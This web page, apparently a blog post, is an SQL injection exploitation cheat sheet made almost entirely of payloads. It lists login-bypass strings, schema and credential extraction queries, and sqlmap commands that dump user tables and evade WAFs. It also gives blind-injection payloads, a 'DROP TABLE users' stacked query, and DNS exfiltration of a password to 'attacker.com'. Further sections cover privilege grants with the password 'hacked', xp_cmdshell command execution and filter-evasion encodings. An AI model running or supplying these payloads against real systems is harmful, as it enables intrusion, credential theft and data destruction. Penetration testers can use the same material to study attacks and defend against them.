The Best Practical SQL Injection Exploitation Cheat Sheet

Practical SQL Injection Exploitation Cheat Sheet

Introduction

Step 1: Identifying SQL Injection Vulnerability

Manual Testing with Basic Payloads

admin' OR '1'='1' --
' OR 1=1 --
" OR 1=1 --
' OR 'a'='a' --

Using Burp Suite to Intercept Requests

Step 2: Extracting Database Information

Determining Database Type

SELECT @@version;   -- MySQL
SELECT version();   -- PostgreSQL
SELECT banner FROM v$version; -- Oracle

Enumerating Tables and Columns

SELECT table_name FROM information_schema.tables;
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';

Extracting User Credentials

SELECT username, password FROM users;

Step 3: Automated Exploitation with SQLMap

Basic SQL Injection Scan

sqlmap -u "http://target.com/login.php?id=1" --dbs

Dumping User Credentials

sqlmap -u "http://target.com/login.php?id=1" -D database_name -T users --dump

Bypassing WAFs with Randomized Case Encoding

sqlmap -u "http://target.com/login.php?id=1" --tamper=between,randomcase

Step 4: Blind SQL Injection Exploitation

Time-Based Blind SQLi

' OR IF(1=1, SLEEP(5), 0) --

Boolean-Based Blind SQLi

' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END) --

Step 5: Exploiting Advanced SQL Injection Techniques

Stacked Queries (Executing Multiple Statements)

admin'; DROP TABLE users; --

Extracting Data via DNS Exfiltration

SELECT load_file(concat('\\', (SELECT password FROM users LIMIT 1), '.attacker.com\file'));

Privilege Escalation & OS Command Execution

MySQL User Escalation

SELECT user, host FROM mysql.user;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'hacked';

Executing System Commands in MSSQL

EXEC xp_cmdshell 'whoami';

Step 6: Bypassing Security Filters & WAFs

Encoding Payloads (Hex, Base64, URL Encoding)

SELECT username FROM users WHERE id=0x61646D696E; -- HEX encoding
SELECT username FROM users WHERE id=BASE64_DECODE('YWRtaW4=');

Using Comment Injection to Obfuscate Payloads

SELECT/**/username/**/FROM/**/users/**/WHERE/**/id/**/=1;

Randomized Case & White Space Manipulation

SeLeCt UsErNaMe FrOm UsErS WhErE iD=1;

Conclusion

Leave a Reply

Your email address will not be published. Required fields are marked *